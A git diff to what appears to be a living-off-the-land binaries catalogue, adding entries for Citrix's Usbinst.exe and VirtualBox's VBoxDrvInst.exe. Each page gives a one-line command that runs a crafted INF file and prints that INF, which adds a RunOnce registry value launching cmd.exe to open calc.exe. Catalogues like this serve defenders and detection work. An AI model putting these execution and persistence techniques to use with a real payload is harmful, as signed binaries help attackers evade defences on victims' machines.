diff --git a/LOLBins.md b/LOLBins.md
index b067aaf..d9b233e 100644
--- a/LOLBins.md
+++ b/LOLBins.md
@@ -91,6 +91,6 @@ If you are missing from the acknowledgement, please let me know (I did not forge
 # OTHER NON MICROSOFT BINARIES
 [Nvuhda6.exe](OtherBinaries/Nvuhda6.md)     
 [Nvudisp.exe](OtherBinaries/Nvudisp.md)    
- 
-
+[VBoxDrvInst.exe](OtherBinaries/VBoxDrvInst.md)     
+[Usbinst.exe](OtherBinaries/Usbinst.md) 
 
diff --git a/OtherBinaries/Usbinst.md b/OtherBinaries/Usbinst.md
new file mode 100644
index 0000000..8ad5e24
--- /dev/null
+++ b/OtherBinaries/Usbinst.md
@@ -0,0 +1,48 @@
+## Usbinst.exe
+
+* Functions: Execute
+
+```
+Usbinst.exe InstallHinfSection "DefaultInstall 128 c:\temp\calc.inf"
+ 
+```
+
+Acknowledgements:
+* Pierre-Alexandre Braeken - @pabraeken
+
+
+Resources:
+* https://twitter.com/pabraeken/status/993514357807108096
+
+Full path:
+```
+C:\Program Files (x86)\Citrix\ICA Client\Drivers64\Usbinst.exe
+```
+
+Notes:
+calc.inf
+```
+; DRIVER.INF
+; Copyright (c) Microsoft Corporation.  All rights reserved.
+ 
+[Version]
+Signature = "$CHICAGO$"
+Class=61883
+ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}
+Provider=%Msft%
+DriverVer=06/21/2006,6.1.7600.16385
+ 
+[DestinationDirs]
+DefaultDestDir = 1
+ 
+[DefaultInstall]
+AddReg = CalcStart
+
+[CalcStart]
+HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,cmd.exe /c """calc.exe"""
+```
+
+
+
+
+ 
diff --git a/OtherBinaries/VBoxDrvInst.md b/OtherBinaries/VBoxDrvInst.md
new file mode 100644
index 0000000..8d88d5b
--- /dev/null
+++ b/OtherBinaries/VBoxDrvInst.md
@@ -0,0 +1,45 @@
+## VBoxDrvInst.exe
+
+* Functions: Persistence
+
+```
+VBoxDrvInst.exe driver executeinf c:\temp\calc.inf      
+```
+
+Acknowledgements:
+* Pierre-Alexandre Braeken - @pabraeken
+
+Code sample:
+* 
+
+Resources:
+* https://twitter.com/pabraeken/status/993497996179492864
+
+Full path:
+```
+C:\Program Files\Oracle\VirtualBox Guest Additions
+```
+
+Notes:
+calc.inf
+```
+; DRIVER.INF
+; Copyright (c) Microsoft Corporation.  All rights reserved.
+ 
+[Version]
+Signature = "$CHICAGO$"
+Class=61883
+ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}
+Provider=%Msft%
+DriverVer=06/21/2006,6.1.7600.16385
+ 
+[DestinationDirs]
+DefaultDestDir = 1
+ 
+[DefaultInstall]
+AddReg = CalcStart
+
+[CalcStart]
+HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,cmd.exe /c """calc.exe"""
+```
+